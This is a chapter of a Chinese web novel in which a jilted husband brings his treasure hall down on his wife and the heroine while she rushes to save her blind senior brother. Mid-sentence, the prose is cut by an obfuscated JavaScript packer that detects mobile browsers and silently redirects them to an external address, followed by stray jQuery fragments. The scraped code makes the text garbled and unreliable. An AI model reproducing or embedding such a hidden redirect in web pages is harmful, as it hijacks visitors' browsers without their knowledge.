49. 坍塌

作品:《林妹妹她又嫁人了[快穿]

    “金员外,你这模样,是要去杀人啊?”林声笙勾起唇角,“俗话说,敌人的敌人就是朋友,既然你们都这般憎恨定国公,为何不先放下对.对方的怨念,联起手来去复仇,让他受到应有的惩罚?”


    “联手,复仇?”金顺眼底微动。


    “不错,夜深人静之时,我不信你没幻想过亲手杀了他,你想让他身败名裂,想让他被千刀万剐,你想让他碎尸万段!你想抢回自己的妻子!”林声笙徐徐逼近,蹲下身子,凌厉的眼眸直视金顺,“定国公徐盛,虽然位高权重,却也是个人,不是神,他并非不可攻破,或许,你一个人的力量不够,但是还有金夫人,还有青儿,还有许许多多曾被他欺辱过的女子!水能载舟亦能覆舟,只要你们这些人,劲儿往一处使,徐盛,必被击溃!”


    金顺弓着背,缓缓地,将头埋于两腿之间。半晌,他的肩膀颤颤地抖动起来。


    哭了?


    林声笙惊疑,心想,她刚刚的话竟如此有感染力?


    然而,她很快便发现自己大错特错。金顺并非在哭,而是在笑,尖锐的笑声险些将她的耳膜刺破。


    “哈哈哈哈哈哈哈!!!”但见他抬起头颅,瞳眸猩红,似是要溢出血,“异想天开,异想天开啊!哪怕整个金宅一起去反抗,也无济于事!!!他徐盛可是定远大将军的后代啊!大津官场,盘根错节,有权势者,沆瀣一气,牵一发而动全身,堂堂凤凰城城主定国公,哪是几个平民百姓就能撼动的?!我们于他而言,就如同蝼蚁于巨象,他只需轻轻一跺脚,就能把我们碾成灰烬!”


    金顺摇晃着,起了身。


    “呵,林声笙,我倒是忘了,你也恨着徐盛啊。他给你下药,你怀恨在心,便想借机报复。”金顺的眉眼下,浮上一片暗沉的阴影,“可是,你自己找死,为什么要拉上我们这些无辜之人给你陪葬?!”


    “你……”


    眼看戏台子两侧帷幕即要下落,哪料演员竟拿错了剧本,收尾失败,功亏一篑。


    而这新剧本里的刀竟然还是冲着自己来的,林声笙气急,一个“你”字说得咬牙切齿。


    怕事情愈加失控,边上已谢幕的金夫人不得不出面安抚:“林大师。”


    这声音温润而有力量,仅一句话就把林声笙稳了下来。


    林声笙侧眸,两个女子目光相汇,眼底涟漪阵阵。


    然而,就是这一瞬间的眼神交流,让金顺本就摇摇欲坠的世界彻底崩塌。


    他头一次睹见这样的春娇。


    坚韧、倔强、不服输。


    初遇时,春娇羞答答的像一只小鸟儿,后来,她忧郁爱哭,似池子里的泛着青苔的绿水,再后来,她又变得妖娆浓艳,如夏日的繁花一般……可无论是哪一个她,都与眼前这个截然不同。


    或许,自己从未看懂过她。


    或许,闹得宅子里人心惶惶的鬼邪之事,皆是由她亲手推动的。


    “夫人,莫非你和林大师合谋……莫非这一切,是你……”他已说不出口。


    但金夫人不愿再伪装,回道:“不错,你猜对了。”


    金顺不敢看她:“为什么?是因为坠儿吗?可是,夫人……我也是男人,我也要发泄啊!我三十五了……我三十五也只有过坠儿那一次而已……”


    金夫人冷然:“金顺,看来,你什么都不懂。”


    金顺偷偷斜眼,视线所及之处,金夫人下巴微扬、瞳眸深眯,而她左右两侧,青儿怒目,林声笙叉腰,三个人虎视眈眈,像是欲将他一口一口吃掉,吃得一根骨头都不剩。


    他又赶忙收回目光,冷汗已透了衣裳。


    其实在很早以前,他便察觉到春娇和那李妈妈在暗中拉拢宅子里的小丫鬟,可是他不愿察觉,更不愿知道,便麻醉自己,抑或是睁一只眼闭一只眼,没想到她们竟把手伸到了自己这儿,连他身边的青儿都倒戈随了她去。


    可春娇到底想做什么?


    抵抗徐盛?报复自己?


    不对……她方才看自己的眼神,一层敷衍的愤怒之下,冷淡到几乎空无。


    没有爱,也没有恨。


    连恨,都不屑给他吗?那么,他在她心里算什么?水?空气?


    什么都不是……


    原来如此。


    原来如此啊!


    他父母早亡,小小年纪便丢了家,尝尽孤单的辛酸。曾有玄学方士说他命独,克父母,克妻儿,将独身而终。他不信命,把那方士轰出大门,分文未给。


    既然以前的家没了,他便再自己建一个,反正他有的是银子!之后他就瞧见了春娇的画像,想成家的心再也压抑不住,因为娶了媳妇就有了家。


    媳妇说他更爱自己,那是她不明白,他这么做就如同在自个儿心上扎针,痛入骨髓!


    这么多年,风风雨雨,他的心也早已千疮百孔,鲜血淋漓,而他苦苦支撑,苟且偷生,不也正是为了保全这个家吗?!


    分明是她,是她什么都不懂!


    金顺耷拉着双臂,缓缓抻起脖子,眼眸扫过金夫人冰冷的面容,而后望向五彩斑斓的厅堂天花。


    真是华丽壮观!


    如今,他不仅有银子,还有权力,凤凰城一人之下,谁敢不敬?可为什么想要一个家,就这么难,这么难……


    林声笙视线里,金顺突然挪动脚步,行尸走肉般踉踉跄跄地倚上墙。她右眼皮抽动起来,一种不祥之感油然而生。


    只见金顺痴痴地凝视金夫人,而后伸出右手,冲着那窈窕的轮廓,抚摸了一遍又一遍。


    “夫人,许久未见你穿红了,今天的你好美、好美,就像你嫁给我那日一样,我会永远记着。”


    与此同时,他的左手捋着墙徐徐上移,随即陷入凹槽,轻轻摁下。


    林声笙大叫一声“不妙!这地方怕是要塌了!”,可为时晚矣。


    眼前,一块晶莹剔透的蓝水晶登时裂成了蜘蛛网状,接着,天摇地动,四壁断裂,珠宝散落,碎石滚滚,数十张春.宫.图仿若失去了控制,杂乱无章地从厅堂天花掉了下来。


    阵阵沙尘之中,林声笙恍然瞧见那图上情


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14932571|152848||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    意缱绻的脸,男的七分像金顺,女的八分似春娇,再细细环视而望,一张张脸,随着画卷飞舞飘扬,神情虽然迥异,五官却一摸一样!


    “夫人!既然生前你我无法同衾,那么死后,为夫必与你共穴!”


    金顺扶着墙,狰狞的面孔没在灰蒙蒙的落石与扬沙里,声音凄厉而刺耳。


    轰隆隆!


    两三块石头砸在林声笙与金夫人中间,炸出一片烟尘。


    青儿捂着鼻尖道:“夫人,林大师,你们快随我走!方才金顺追着我在此处绕了一大圈儿,兴许我能找到出口!”


    然而,眼前只剩那林大师模糊的背影,但闻一声“你们先走!”,便再也瞧不着她了。


    雕栏玉砌的厅堂几乎四分五裂,林声笙避过尘土,越过断石,躲过坍塌的梁柱,如丛林里逃命的野兔,朝厅堂深处狂奔而去。


    宋安还在里面!


    他目不能视,耳朵就是他的眼睛。现下,四周纷乱嘈杂,他哪儿辨得清其中千丝万缕的声音,她得去救他!


    明明几十步的距离,林声笙却觉着像跑了上百里,终于,视线捕捉到一抹摇曳的衣角,口中喊声未出,身子已扑了过去。


    “大师兄!”


    刹那间,女人被拽入一处硬实的怀抱。与此同时,一阵疾风蹭着她飘起的发丝自上刮下。


    “声笙,小心!”


    眼角余光中,林声笙瞥见一块斜插入地的尖锐巨石,地面已然龟裂,道道碎痕正迅速蔓延。


    后脑勺被男人的手压了下去,埋入那跳得慌乱的胸口。


    他声音轻柔却颤抖:“声笙,可,可有,伤着?”


    “没……”林声笙抬头,周遭扬沙弥漫,而宋安一如既往的干净,干净到仿佛不染世间尘埃。


    有那么一瞬间,林声笙觉得,或许她救他,是多此一举,可她仍倔强地怨他:“大师兄,你在这儿愣着作何?不怕被石头砸中脑袋?”


    宋安摇头:“不怕。”


    “不怕?”


    “嗯,我,我相信,你,你会,来,救,救我的。”


    又一块巨石掉落,大理石地震荡不已。


    二人直被震得倒了下去。


    眼前乱石纷飞,耳畔“噼里啪啦”。


    林声笙握住宋安的手,道:“大师兄,咱们好像出不去了,也许,也许会死……”


    “能,能与你,在一起,出,出不去,又,又有,何妨?”宋安反握住林声笙,“但,但是,我赌,赌咱们,死不了。”


    是时,烟尘中现出一道火急火燎的影子。


    那人叉劈腿跑着,边跑边喊:“疯了,疯了,疯了,让开,让开,让开!”


    宋安竟听话照做,抱着林声笙靠一旁挪了几下。


    林声笙揉揉眼睛,不禁瞪大双目。


    这人,衣衫褴褛,手臂淌血,伤痕累累,还有,一头黄毛!


    竟是金顺的堂弟,那欠揍的关系户!


    只见他双腿跪地,吆喝道:“嘿!找到了,他奶奶的还真在这旮旯!”